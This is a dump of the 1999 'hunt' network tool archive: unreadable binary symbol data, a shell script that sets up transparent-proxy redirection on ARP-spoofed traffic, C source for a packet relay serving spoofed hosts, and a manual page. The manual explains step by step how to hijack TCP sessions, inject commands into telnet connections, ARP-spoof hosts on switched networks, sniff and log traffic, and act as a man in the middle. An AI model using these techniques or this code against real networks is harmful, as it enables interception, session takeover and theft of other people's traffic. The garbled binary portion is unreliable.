(GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)01.0101.0101.0101.0101.0101.01.symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.got.rel.bss.rel.plt.init.plt.text.fini.rodata.data.eh_frame.ctors.dtors.got.dynamic.bss.stab.stabstr.comment.note# 1((@7 hh?GoRTo c l u    ~88/hh@ \\ dd 44 D $!(L4nn5x26;E Cg(h  8 h  \d4n Ԋ "  -h1?lK at( 0 P p" 0 0 T  \  ` `8    0k ), 4Ȍ, @) N ) _Lm t x"/"4\t"="p 7" Ȉ$&؈/"6|>I"P"e)yp "(:"88 H:X"h$#x5GY:o:"YBt )ȉ|؉ԩ d ),:<\B:Yxc(sԩzԯ8:"H"X"ph$d#x:"5="E T3initfini.cgcc2_compiled.init.ccrtstuff.cp.2__DTOR_LIST__completed.3__do_global_dtors_aux__EH_FRAME_BEGIN__fini_dummyobject.8frame_dummyinit_dummyforce_to_data__CTOR_LIST____do_global_ctors_aux__CTOR_END____DTOR_END____FRAME_END__tpserv.cwritenmaxlogbuf.86print_connectionprint_readprint_writeprint_connectprint_disconnectprocess_request_echoprocess_request_connectsigaction@@GLIBC_2.0getpid@@GLIBC_2.0_DYNAMIC_etext__register_frame_info@@GLIBC_2.0write@@GLIBC_2.0usageclose@@GLIBC_2.0_fp_hwfprintf@@GLIBC_2.0fork@@GLIBC_2.0verboseselect@@GLIBC_2.0vsnprintf@@GLIBC_2.0strerror@@GLIBC_2.0serv_slave__errno_location@@GLIBC_2.0accept@@GLIBC_2.0inet_ntoa@@GLIBC_2.0_initlisten@@GLIBC_2.0tpserv_connect__deregister_frame_info@@GLIBC_2.0syslog@@GLIBC_2.0daemon@@GLIBC_2.0stdout@@GLIBC_2.0stderr@@GLIBC_2.0setsockopt@@GLIBC_2.0getpeername@@GLIBC_2.0vfprintf@@GLIBC_2.0prog_name_startgetopt@@GLIBC_2.0openlog@@GLIBC_2.0fputc@@GLIBC_2.0__bss_startmain__libc_start_main@@GLIBC_2.0data_startprintf@@GLIBC_2.0bind@@GLIBC_2.0_finigetsockname@@GLIBC_2.0is_daemonexit@@GLIBC_2.0_edata_GLOBAL_OFFSET_TABLE__endconnect@@GLIBC_2.0rindex@@GLIBC_2.0__strtoul_internal@@GLIBC_2.0serv_portoptarg@@GLIBC_2.0_IO_stdin_usedsprintf@@GLIBC_2.0__data_startsocket@@GLIBC_2.0read@@GLIBC_2.0__gmon_start____bzero@@GLIBC_2.0hunt-1.4/tpsetup/ 40755 0 0 0 6775077661 12047 5ustar rootroothunt-1.4/tpsetup/transproxy100755 0 0 5200 6775100137 14301 0ustar rootroot#!/bin/sh ########################################################################### # # # This is free software. You can redistribute it and/or modify under # the terms of the GNU General Public License version 2. # # Copyright (C) 1999 by kra # ########################################################################### # # # First Generation Transproxy support # # the MAC address of the gateway on the client have to be ARP spoofed # to MAC address of host running hunt. Then the transproxy in the # kernel can pick up the packets sent by client as if they will be # sent to the gateway # # # which port to redirect # DST_PORT=7000 #DST_PORT=80 # # port with transproxy module # DST_PORT_PROXY=7044 # # forward by kernel # # when is used kernel forwarding do not start ARP relayer daemon, # the kernel will forward such a pakcets itself and thous destined # to DST_PORT will redirect to DST_PORT_PROXY # # when the kernel forwarding is not used start ARP relayer daemon # to relay packets and to relayer database enter not to forward # traffic which is aimed for transproxy KERNEL_FORWARD=1 ################################################################## # # turn forwarding on - needed for kernel transproxy to work # echo 1 >/proc/sys/net/ipv4/ip_forward # # set the default policy for the chains to accept # # # flush the chains # ipchains -F input ipchains -F forward ipchains -F output # # set transproxy from DST_PORT to DST_PORT_PROXY # ipchains -A input -p TCP -s 0.0.0.0/0 -d 0.0.0.0/0 $DST_PORT -j REDIRECT $DST_PORT_PROXY # ipfwadm untested #ipfwadm -I -a accept -P tcp -S 0.0.0.0/0 -D 0.0.0.0/0 $DST_PORT -r $DST_PORT_PROXY # # turn off ip forwarding for other traffic than transproxy # - otherwise every packet forwarded by kernel will trigger sending # the ICMP redirect message to tell the host that he should use # real gateway # # anyway it does not matter because the ARP address of gateway is ARP spoofed # on client so the client will not change anything. # # there are two approaches: # 1) forward packets with hunt relayer daemon - then start the relayer daemon # and deny forwarding in the kernel # 2) let the kernel forward them but it will also send ICMP redirect, # Linux kernel 2.2 allows as to block these redirects. # # # forwarded by kernel ? # if [ "$KERNEL_FORWARD" = 1 ]; then # # block ICMP redirects, that are send by default when we use kernel forwarding # ipchains -A output -p icmp -s 0.0.0.0/0 redirect -d 0.0.0.0/0 -j DENY ipchains -A forward -s 0.0.0.0/0 -d 0.0.0.0/0 -j ACCEPT else ipchains -A forward -s 0.0.0.0/0 -d 0.0.0.0/0 -j DENY fi # ipfwadm untested #ipfwadm -F -a deny -S 0.0.0.0/0 -D 0.0.0.0/0 hunt-1.4/pktrelay.c100644 0 0 23602 6772641530 12447 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1999 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include /* * * This is experimental code, do not expect mutch use of it just now * */ /* * * this packet relay module is designed for miscellaneous tasks when * relaying packets from/to spoofed hosts * */ #define RIFL_PKT_DROP 1 #define RIFL_PKT_ETHTAP_RELAY 2 struct relay_item { pthread_mutex_t mutex; pthread_cond_t lock_cond; int lock_count; unsigned int src_addr; unsigned int src_mask; unsigned int dst_addr; unsigned int dst_mask; unsigned int src_ports[MAX_PORTS + 1]; unsigned int dst_ports[MAX_PORTS + 1]; unsigned int flags; int ethtap_fd; char *ethtap_name; char ethtap_mac[ETH_ALEN]; struct relay_item *next; }; static struct list l_relay_db = LIST_INIT(struct relay_item, next); static void ri_want(struct relay_item *ri) { pthread_mutex_lock(&ri->mutex); ri->lock_count++; pthread_mutex_unlock(&ri->mutex); } static void ri_release(struct relay_item *ri) { pthread_mutex_lock(&ri->mutex); if (--(ri->lock_count) == 0) pthread_cond_broadcast(&ri->lock_cond); pthread_mutex_unlock(&ri->mutex); } static void ri_wait_for_release(struct relay_item *ri) { pthread_mutex_lock(&ri->mutex); while (ri->lock_count > 0) pthread_cond_wait(&ri->lock_cond, &ri->mutex); pthread_mutex_unlock(&ri->mutex); } static struct relay_item *ri_allocate() { struct relay_item *ri; ri = malloc(sizeof(struct relay_item)); assert(ri); memset(ri, 0, sizeof(struct relay_item)); pthread_mutex_init(&ri->mutex, NULL); pthread_cond_init(&ri->lock_cond, NULL); ri->ethtap_fd = -1; return ri; } static void ri_free(struct relay_item *ri) { ri_wait_for_release(ri); pthread_cond_destroy(&ri->lock_cond); pthread_mutex_destroy(&ri->mutex); if (ri->ethtap_fd >= 0) close(ri->ethtap_fd); if (ri->ethtap_name) free(ri->ethtap_name); free(ri); } static inline int packet_match_relay_item(struct packet *p, struct relay_item *ri) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if ((iph->saddr & ri->src_mask) == (ri->src_addr & ri->src_mask) && (iph->daddr & ri->dst_mask) == (ri->dst_addr & ri->dst_mask) && port_match(tcph->source, ri->src_ports) && port_match(tcph->dest, ri->dst_ports)) { return 1; } return 0; } static struct relay_item *packet_match_relay(struct packet *p) { struct list_iterator li; struct relay_item *ri; list_lock(&l_relay_db); list_iter_set(&li, &l_relay_db); while ((ri = list_iter_get(&li))) { if (packet_match_relay_item(p, ri)) { ri_want(ri); /* lock_count++ on relay_item */ break; } } list_iter_end(&li); list_unlock(&l_relay_db); return ri; } /* * return 0 if not interested, * this function is called from arp_relay function that run in * separate thread (relay thread) */ void ethtap_relay(struct packet *p, struct relay_item *ri) { /* int eth_hdr_len;*/ struct packet *p_new; if (ri->ethtap_fd < 0) { printf("ethtap_relay error: ethtap_fd < 0\n"); return; } #if 0 /* write it without eth header */ printf("relay packet %s:%d to %s:%d\n", host_lookup(p->p_iph->saddr, hl_mode), ntohs(p->p_hdr.p_tcph->source), host_lookup(p->p_iph->daddr, hl_mode), ntohs(p->p_hdr.p_tcph->dest)); eth_hdr_len = (char *) p->p_iph - (char *) p->p_raw; writen(ri->ethtap_fd, (char *) p->p_iph, p->p_raw_len - eth_hdr_len); #else /* write it with eth header */ p_new = packet_new(); packet_copy_data(p_new, p); memcpy(p_new->p_ethh->h_dest, ri->ethtap_mac, ETH_ALEN); /* memcpy(p_new->p_ethh->h_source, , ETH_ALEN);*/ printf("relay packet\n"); writen(ri->ethtap_fd, p_new->p_raw, p_new->p_raw_len); packet_free(p_new); #endif } int process_pktrelay(struct packet *p, struct arp_spoof_info *asi) { struct relay_item *ri; int retval; if (!(ri = packet_match_relay(p))) return 0; retval = 0; if (ri->flags & RIFL_PKT_DROP) { retval = 1; } if (ri->flags & RIFL_PKT_ETHTAP_RELAY) { ethtap_relay(p, ri); retval = 1; } ri_release(ri); return retval; } /* * * user interface * */ static void relay_item_print(int i, struct relay_item *ri) { char buf_src_ports[BUFSIZE], buf_dst_ports[BUFSIZE]; char buf[BUFSIZE]; char flags[BUFSIZE]; sprintf_db_ports(ri->src_ports, buf_src_ports, sizeof(buf_src_ports), 1); sprintf_db_ports(ri->dst_ports, buf_dst_ports, sizeof(buf_dst_ports), 1); sprintf(buf, "%s/%d [%s]", host_lookup(ri->src_addr, hl_mode), count_mask(ri->src_mask), buf_src_ports); switch (ri->flags) { case RIFL_PKT_DROP: sprintf(flags, "DROP"); break; case RIFL_PKT_ETHTAP_RELAY: sprintf(flags, "ETH RELAY to %s", ri->ethtap_name); break; } printf("%2d) %-24s --> %s/%d [%s] flags %s\n", i, buf, host_lookup(ri->dst_addr, hl_mode), count_mask(ri->dst_mask), buf_dst_ports, flags); } static void relay_list_items(void) { struct list_iterator li; struct relay_item *ri; int i = 0; list_iter_set(&li, &l_relay_db); while ((ri = list_iter_get(&li))) { relay_item_print(i++, ri); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } static void relay_add_item(void) { struct relay_item *ri; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; char name_buf[128], name_buf2[256]; char ethtap_mac[ETH_ALEN]; int flags_c; int nr, ethtap_fd; ethtap_fd = -1; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, 0, 0, NULL) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, 0, 0, NULL) < 0) return; if ((flags_c = menu_choose_char("flags: [n]one, [d]rop, [e]th_relay", "nde", 'd')) < 0) return; if (flags_c == 'e') { if (menu_choose_string("eth relay device", name_buf, sizeof(name_buf), "tap0") < 0) return; strcpy(name_buf2, "/dev/"); strcat(name_buf2, name_buf); if ((ethtap_fd = open(name_buf2, O_RDWR)) < 0) { printf("cannot open %s for read/write\n", name_buf2); return; } get_ifc_info(name_buf, NULL, ethtap_mac); } if ((nr = menu_choose_unr("insert at", 0, list_count(&l_relay_db), list_count(&l_relay_db))) == -1) return; ri = ri_allocate(); ri->src_addr = src_ip; ri->src_mask = src_mask; port_htons(src_ports); memcpy(ri->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); ri->dst_addr = dst_ip; ri->dst_mask = dst_mask; port_htons(dst_ports); memcpy(ri->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); switch (flags_c) { case 'd': ri->flags = RIFL_PKT_DROP; break; case 'e': ri->flags = RIFL_PKT_ETHTAP_RELAY; ri->ethtap_name = strdup(name_buf); ri->ethtap_fd = ethtap_fd; memcpy(ri->ethtap_mac, ethtap_mac, ETH_ALEN); break; default: ri->flags = 0; } list_insert_at(&l_relay_db, nr, ri); } static void relay_mod_item(void) { struct relay_item *ri; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; char name_buf[128], name_buf2[256]; int nr; char flags_dfl; int flags_c, ethtap_fd; ethtap_fd = -1; relay_list_items(); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_relay_db) - 1, list_count(&l_relay_db) - 1)) == -1) return; if (!(ri = list_at(&l_relay_db, nr))) return; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, ri->src_addr, ri->src_mask, ri->src_ports) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, ri->dst_addr, ri->dst_mask, ri->dst_ports) < 0) return; switch (ri->flags) { case RIFL_PKT_DROP: flags_dfl = 'd'; break; case RIFL_PKT_ETHTAP_RELAY: flags_dfl = 'e'; break; default: flags_dfl = 'n'; } if ((flags_c = menu_choose_char("flags: [n]one [d]rop [e]th_relay", "nde", flags_dfl)) < 0) return; if (flags_c == 'e') { if (menu_choose_string("eth relay device", name_buf, sizeof(name_buf), ri->ethtap_name) < 0) return; if (strcmp(name_buf, ri->ethtap_name) != 0) { strcpy(name_buf2, "/dev/"); strcat(name_buf2, name_buf); if ((ethtap_fd = open(name_buf2, O_RDWR)) < 0) { printf("cannot open %s for read/write\n", name_buf2); return; } } } port_htons(src_ports); port_htons(dst_ports); ri->src_addr = src_ip; ri->src_mask = src_mask; memcpy(ri->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); ri->dst_addr = dst_ip; ri->dst_mask = dst_mask; memcpy(ri->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); if (flags_c != 'e' || ethtap_fd >= 0) { if (ri->ethtap_fd >= 0) { close(ri->ethtap_fd); ri->ethtap_fd = -1; } if (ri->ethtap_name) { free(ri->ethtap_name); ri->ethtap_name = NULL; } } switch (flags_c) { case 'd': ri->flags = RIFL_PKT_DROP; break; case 'e': ri->flags = RIFL_PKT_ETHTAP_RELAY; if (ethtap_fd >= 0) { ri->ethtap_fd = ethtap_fd; ri->ethtap_name = strdup(name_buf); } break; default: ri->flags = 0; } } static void relay_del_item(void) { int i; struct relay_item *ri; relay_list_items(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_relay_db) - 1, -1); if (i >= 0) { ri = list_remove_at(&l_relay_db, i); ri_free(ri); } } void relay_menu(void) { char *r_menu = "l) list relay database\n" "a/m/d) add/mod/del entry\n" "x) return\n"; char *r_keys = "ladmx"; int run_it; run_it = 1; while (run_it) { switch (menu("relay database", r_menu, "arps/relay", r_keys, 0)) { case 'l': relay_list_items(); break; case 'a': relay_add_item(); break; case 'd': relay_del_item(); break; case 'm': relay_mod_item(); break; case 'x': run_it = 0; break; } } } hunt-1.4/man/ 40755 0 0 0 6742566713 11111 5ustar rootroothunt-1.4/man/hunt.1100644 0 0 64375 6776074733 12310 0ustar rootroot.TH HUNT 1 .\" .\" .SH HUNT hunt \- Network security auditing tool. .SH SYNOPSIS .B hunt .I "[-V] [-v] [-i interface]" .br .SH "DESCRIPTION" This manual page documents briefly the .BR hunt command. This manual page was written for the Debian GNU/Linux distribution because the original program does not have a manual page. Instead, it has documentation in the GNU Info format; see below. .SH READ FIRST Please make sure you KNOW what you are doing before using hunt. It is recommended that you should test how it behaves on some test connections and then use it wisely. .SH OVERVIEW Hunt is a program for intruding into a connection, watching it and resetting it. It has several features, which I didn't find in any product like Juggernaut or T-sight that inspired me in my development. I found Juggernaut not flexible enough for further development so I started from scratch (see FEATURES and DESIGN OVERVIEW). Note that hunt is operating on Ethernet and is best used for connections which can be watched through it. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. The hunt doesn't distinguish between local network connections and connections going to/from Internet. It can handle all connections it sees. .PP Connection hijacking is aimed primarily at the telnet or rlogin traffic but it can be used for another traffic too. The reset, watching, arp, ... features are common to all connections. .SH FEATURES .TP .B Connection Management .B * Setting what connections you are interested in. .br .B * Detecting an ongoing connection (not only SYN started). .br .B * Normal active hijacking with the detection of the ACK storm. .br .B * ARP spoofed/Normal hijacking with the detection of successful ARP spoof. .br .B * Synchronization of the true client with the server after hijacking (so that the connection don't have to be reset). .br .B * Resetting connection. .br .B * Watching connection. .TP .B Daemons .B * Reset daemon for automatic connection resetting. .B * ARP spoof/relayer daemon for ARP spoofing of hosts with the ability to relay all packets from spoofed hosts. .B * MAC discovery daemon for collecting MAC addresses. .B * Sniff daemon for logging TCP traffic with the ability to search for a particular string. .TP .B Host Resolving .B * Deferred host resolving through dedicated DNS helper servers. .TP .B Packet Engine .B * Extensible packet engine for watching TCP, UDP, ICMP and ARP traffic. .B * Collecting TCP connections with sequence numbers and the ACK storm detection. .TP .B Misc .B * Determining which hosts are up. .TP .B Switched Environment .B * Hosts on switched ports can be spoofed, sniffed and hijacked too. .SH COMMAND LINE PARAMETERS .B -V Print Version .br .B -v Verbose (print pids of created threads) .br .B -i .I interface Listen on this interface. Default is eth0 .SH TECHNICAL EXPLANATION Let me explain some technical issues which I use in hunt and which are essential for understanding how it works and what you should expect. The important terms are IP spoofing, ARP spoofing and ACK storm. Even if you are familiar with them, you can get some new information. .TP .B IP spoofing You set the packet source address to the IP address of the host you pretend to be. .TP .B ARP spoofing You set the packet source hardware address (source MAC address) to the address of the host you pretend to be. .TP .B Simple Active Attack against TCP connections - It is a well known type of attack in which you send a packet with spoofed IP addresses and possibly also with spoofed ARP addresses (true MAC addresses of client and server - not fake ones as explained further). In this way, you can force a command to the stream but you are likely to receive the ACK storm (as explained further) unless the original client host of the connection is running Linux. .TP .B ARP spoofing I use this term also for forcing the remote host to think that the host I want to be has a different MAC address so the remote host sends replies to that MAC address and the original client host is not able to receive them (but hunt is watching carefully and handles all consequences) (Explaining how to force a host on the network to think that the other host has a different MAC I leave as an exercise - I encourage you to read the source code). Please note that I use the term ARP spoofing instead of the term ARP forcing or something like that. So don't be confused, if I say ARP spoofing, I mean using some MAC address of a host or just some fake MAC address. Note that ARP spoofing (with my meaning to force some MAC) doesn't work on Solaris2.5 because it has expiration timers on ARP entries so you can't easily force Solaris to drop an ARP entry. The entry usually expires after 20min or less (but you have a chance to force it and hunt supports this mode). The expiration timers on Solaris are set by: .IP .B ndd -set /dev/ip ip_ire_flush_interval 60000 .I /* 1 min */ .br .B ndd -set /dev/arp arp_cleanup_interval 60 .I /* 1 min */ .IP I encourage you to ask your netadmin to set the above values on all Solaris machines. The Win95/NT4sp3, Linux2.0, OSF1 V4.0, HP-UX10.20 are not protected in this way so you can easily use the described technique on them (actually, they have timers, but they are not operating like in Solaris; in fact, only Solaris is the exception). Actually, hunt uses this technique such that it wants to force a fake MAC of the server to the client and a fake MAC of the client to the server. Then both the server and the client are sending packets to that faked MACs (and hunt can of course handle them). However, it is sufficient that only one host has a fake MAC of the other host. The ACK storm can't occur in this situation either. So you can use this technique even if one end is Solaris and the other isn't. You will just succeed in the other host and that is enough. So the only problem is when the connection is between two Solaris machines. However, if there is any root connection ongoing you can easily push the commands suggested above without ARP spoofing to the connection and alter the expiration timers of the ARP cache. .TP .B ACK Storm The ACK storm is caused by majority of TCP stacks (!!! Linux2.0 is an exception !!!). Let's imagine that you send some data to an ongoing connection to the server (as if sent by the client - with expected seq. numbers, ... ). The server responds with the acknowledgment of the data you sent but this acknowledgment is received by the original client too. But from the original client point of view, the server has acknowledged data that doesn't exist on the client. So something strange occurred and the original client sends the "right" sequence number with ACK to the server. But the TCP rules say that it is required to generate an immediate acknowledgment when an out-of-order segment is received. This ACK should not be delayed. So the server sends the acknowledgment of non-existent data to the client again. And the client responses, ... Only if the source host of the connection is Linux then the ACK storm doesn't occur. Note that if you use ARP spoofing (forcing) then the ACK storm can't come because one or both ends will send packets with fake MACs and those packets are received by hunt rather than by the other host. .TP .B Connection Reset With a single properly constructed packet you can reset the connection (RST flag in TCP header). Of course, you have to know the sequence number but it is not a problem for hunt which is watching all the time. You can reset server, client, or both. When you reset only one end the other end is reset when it tries to send data to the first host which will response with RST because of the connection reset on it. .TP .B Connection sniffing/watching The simplest thing you can do is to silently sit in you chair and watch hunt output about any connection which you choose from the list. .TP .B Connection Synchronization Well, that's one of the main features of hunt. If you put some data to the TCP stream (through simple active attack or ARP spoofing), you desynchronize the stream from the server/original client point of view. After some work done on that connection you can just reset it or you can try to synchronize both original ends again. That is not an easy task. The user on the client is prompted to type some chars and some chars are sent to the client and server. The main goal of all stuff is to synchronize the sequence numbers on both client and server again. .TP .B Switch/Segment traffic rerouting With ARP spoofing you can even force switch so that it will send you the traffic for hosts on another segment/switched port. This is because a switch will think that the MAC belongs to your port. Be careful if your switch has some security policy and MACs have been explicitly set up on a per port basis - but in fact I don't ever see such a configuration on "ordinary" network. .TP .B ARP-relay daemon Don't be confused. I use this term for hunt daemon which is responsible for inserting packets to the network (rerouting) of all data it receives from ARP spoofed hosts. .TP .B Switched environment Well, the hunt is now capable of watching and hijacking hosts that are on switched ports. In common you can't watch the hosts traffic on switched ports but if you first ARP spoof them (with ARP spoof daemon menu) you are able to look at the connections that are between that hosts. First you do arp spoof and the hosts will send you the traffic and from that time you can list the connections between them, then you can watch and hijack them. It is commonly accepted that the switches protect your connections again inside intruders and spoofers. Well, that is still true for carefully setuped switches. The switches that are plugged to the LAN without any port security configuration are useless in the job to protect your LAN. .SH DESIGN OVERVIEW The development model is based on a packet engine (hunt.c) which runs in its own thread and captures packets from the network. The packet engine collects information of TCP connections/starting/termination, sequence numbers, and MAC addresses. It collects the MACs and seq. numbers from the server point of view and separate MACs and seq. numbers from the client point of view. So it is prepared for hijacking. This information (seq. num., MAC, ...) is available to modules so they don't have to analyze and collect it. .PP Modules can register functions with the packet engine which are then invoked when new packets are received. A module function determines if the module is interested in a packet or not and can place the packet in a module specific list of packets. A module function can also send some packet to the network if it is desirable to do it very fast. The module (usually in some other thread so it needs to be scheduled to be run) then gets packets from the list and analyzes them. In this way, you can easily develop modules which perform various activities. .PP Packets to be sent as a response to the network are described by structures so you don't have to care about some default fields or checksums. At this time, functions for TCP, ICMP and ARP traffic are already prepared. (UDP is missing because I don't use it in any module) .PP A separate set of daemons is used for host resolving (DNS). That is because the gethostbyname/gethostbyname_r function is protected by mutex (As far as I know - it was so two years ago - I didn't try it now) so you can't run it truly parallel in a multithreaded environment. Therefore, the commonly used workaround is to fire up some helper daemons through fork which will run gethostbyname. .SH USER ENVIRONMENT Well, the user environment isn't graphical but I believe that you will like it. .PP In the title of all menus is some status information about hunt. First, there is an indication with which menu you are working. Second, the number of packets received by hunt is shown. Hunt pre-allocates some buffers for packets; the status of free and allocated buffers is displayed as the third value. The number of free buffers is low for a high loaded network or the ACK storm or if you have poor hardware. In my case, for example, the numbers 63/64 were normally indicated meaning that only one buffer was used, but after the ACK storm, I have something like 322/323. Note that the buffers once allocated are not freed. The low number of free buffers can also mean some bug in hunt but I think I carefully debugged all modules to this kind of bug. The last indicator reports which daemons (actually threads) are running. They are: R - reset daemon, Y - arp relayer, S - sniffer, M - MAC discoverer. If you switch on the verbose option you get additional information about how many packets were dropped - they were fragments (see the bugs) or were malformed, and how many packets belong to other protocols than TCP, UDP, ICMP and ARP. In the prompt for user input is indicator that will tell you through '*' char that hunt added new connection(s) to the connection list since last connection listening. .TP .B General interface In all menus the x key works as escape. The network mask is denoted by the ip_address/mask notation where mask is the number of 1's on the left side of the network mask. For example, 0.0.0.0/0 means everything and 192.168.32.10/32 means only that host. .IP For most modules is used: .br .B l) list items .br .B a) add item .br .B m) modify item .br .B d) delete item .br They will be referred in this text as l) a) m) d) .TP .B List/Watch/Reset connection You can obtain the list of connections tracked by the hunt packet engine. Which connections are tracked is specified in the options menu. You can interactively watch or reset these connections. You can also perform hijacking on them (next two menu items). .TP .B ARP/Simple hijack ARP/Simple hijack offers you an interactive interface for the insertion of data to the selected connection. You can perform ARP spoofing for both connection ends, for only one end or you can not to do it at all. If you don't do ARP spoofing then you probably receive the ACK storm after typing the first char. When you do ARP spoofing, it is checked if it succeeds. If not, you are prompted if you want to wait until it succeeds (you can interrupt this waiting through CTRL-C of course). After inserting some data to the connection you type CTRL-] and then you can synchronize or reset the connection. If you choose synchronization, the user is prompted to type some chars and after he does so the connection will be in the synchronous state. You can interrupt the synchronization process with CTRL-C and then you can reset the connection. Note that CTRL-C is used widely for interrupting an ongoing process. The CTRL-] (like telnet) is used for finishing the interactive insertion of data to the connection. The ARP/Simple hijack doesn't automatically reset the connection after it detects the ACK storm so you have to do it yourself. Note also that ARP/Simple hijack works with the ARP relayer (as described further) so that other connections are not affected. Normally, if you ARP spoof two servers then the ARP/Simple hijack handles only one selected connection between these two hosts but other connections between these two hosts look like they freeze. If you start the ARP relayer, then these other connections are handled and rerouted through. So other connections from one spoofed host to the other are not affected at all. It is recommended to run ARP relayer if you do ARP hijacking of two servers. Note that if you ARP spoof (force) some client MAC to the server then only connections going from the server to that client are affected. Other connections from the server to other machines are untouched. .TP .B Simple hijack Simple hijack allows you to insert a command to the data stream of the connection. When you insert the command, hunt waits for it to complete up to a certain timeout and if the ACK storm doesn't occur, you are prompted for the next command. After that, you can synchronize or reset the connection. Note that you can use the interactive interface to simple hijack when you use ARP/simple hijack without ARP spoofing but if you use full interactive interface of ARP/simple hijack without ARP spoofing you are likely to get the ACK storm immediately after typing the first char. So this mode of hijacking is useful when you have to deal with the ACK storm because it sends your data to the connection in a single packet. When the ACK storm is in progress it is very hard to deliver other packets from hunt to the server as the network and server are congested. .SH DAEMONS I call them daemons but they are actually threads. All daemons can be started and stooped. Don't be surprised when you insert or modify some rule in a daemon and it does nothing. The daemon is not running - you have to start it. All daemons are by default stopped even though you can alter the configuration. Common commands in the daemons menu are: .IP .B s) start the daemon .br .B k) stop the daemon .br .B l) list configuration items .br .B a) add config. item .br .B m) modify config. item .br .B d) delete config. item .TP .B Reset daemon This daemon can be used to perform automatic resets of ongoing connections that hunt can see. You can describe which connections should be terminated by giving src/dst host/mask and src/dst ports. The SYN flag off means that all specified connections should be terminated (even ongoing). The SYN flag on means that only newly started connections are reset. So the connections that are in progress are not affected. Don't forget to start the daemon. .TP .B ARP daemon Here you can do ARP spoofing of hosts. You enter src and dst addresses and desired srcMAC. The dst is then forced to think that src has srcMAC. You can use some fake MAC or better MAC of host that is currently down. You just want that the hosts will send you all the data (so you can even look at packets that are on a different segment or switched port that you will not normally see) The ARP module looks carefully for packets which will break ARP spoofing of hosts and handle them but you can even specify the refresh interval for ARP spoofing but it is not necessary to do it. Set the refresh interval only if you are experienced with some bad or strange behavior of spoofed hosts. Also there is the possibility to test the hosts for successful spoof with the ability to force that spoof - it is recommended to test the ARP spoof if something looks like it is wrong or the computer doesn't send the traffic to the hunt. The force option is handful if the first spoofing packets are discarded with switch so if you are running hunt against hosts on switched ports you can try to run the force mode by example for 10s and then break it with CTRL-C if the spoof continues to fail. The ARP relayer daemon is used to perform ARP relaying of ARP spoofed connections. When you insert some ARP spoof of hosts the ARP spoofing is performed immediately even if the relayer isn't running!!!. But if the ARP spoofing succeeds, the connections will look like they freeze. For rerouting (not IP routing !) these connections through your hunt you need to start the ARP relayer. The relayer works well with ARP/simple hijack so once you have hosts ARP spoofed with ARP relaying you can easily do ARP/simple hijack which will detect that the hosts are already ARP spoofed and takes over the connection immediately. With this technique you can easily become man in the middle from the beginning of the connection even though your host with hunt isn't an IP gateway. I encourage you to write other application specific protocol handlers for the man in the middle attack as it is really simple with this framework. .TP .B Sniff daemon The purpose of the sniff daemon is to log specified packets. The sniff daemon can also search for a simple pattern (string) in the data stream (see the bugs section). You can specify which connection you are interested in, where to search (src, dst, both), what do you want to search, how many bytes you want to log, from what direction (src, dst, both) and to what file should the daemon write. All logged files are stored in the .sniff directory. The default file name for logging is composed of the host and port names. In the options submenu you can set how to log new lines (\r,\n) (as new-lines or as hex num.). .TP .B MAC discovery daemon This daemon is used to collect MAC addresses corresponding to the specified IP range. You can enter the time after which the daemon will try collecting again (default is 5min). .TP .B Host up menu The host up module determines which hosts are up (with TCP/IP stack). You just specify the IP range and that space is then searched for running hosts. It is capable to determine which hosts have network interface in promiscuous mode. The promiscuous mode usually shows that the host is running some kind of sniffer/network analyzer. .TP .B Options menu In the options menu you can tune different things: .TP .B l) a) m) d) .I List/Add/Mod/Del Connection Policy Entry .br First of all you can select which connections should be tracked. The default setting is to look at telnet connections from all hosts but you can adjust this behavior by the specification of src/dst address/mask src/dst port pairs. With commands: l) a) m) d) you set what you are interested in. .TP .B c) .I Connection Listening Properties .br You can set whether the sequence numbers and MACs of ongoing connections will be displayed during connection listening. .TP .B h) .I Host Resolving .br You can turn on resolving of hosts to their names. As the resolving is deferred you don't get the names of hosts immediately. Just try to list connections several times and you will see the hosts names. (I used this deferred approach because I didn't want any delay of interface that the resolving can cause). .TP .BR r) .I Reset ACK Storm Timeout .br This timeout is used in simple hijack to automatically reset the connection after the ACK storm is detected. Note that you can receive the ACK storm even in arp/simple hijack in case you don't perform ACK spoofing of any host. .TP .B s) .I Simple Hijack Timeout For Next cmd .br Simple hijack has not an interactive connection interface. That means you write the whole command which will be inserted into the connection data stream. If no data is transferred through the connection up to this timeout, you are prompted for the next command. .TP .B q) .I ARP Request/Reply Packets .br Number of request or reply packets hunt will send when it is doing arp spoofing. .TP .B t) .I ARP Request Spoof Through Request .br Option whether hunt will send ARP spoof request or ARP spoof reply when it receives broadcasted ARP request which will break ARP spoof. .TP .B w) .I Switched Environment .br Some optimization for switched environment. It works perfectly for non switched environment also. .TP .B y) .I ARP Spoof With My MAC .br Set the originating MAC address of sent spoofed ARP to my (hunt) ethernet MAC - sometimes helps in switched environment. .TP .B e) .I Learn MAC From IP Traffic .br You can enable that MAC addresses will be learned from all IP traffic not just from ARP. .TP .B p) Number Of Printed Lines Per Page In Listening .br Self explanatory .TP .B v) Verbose 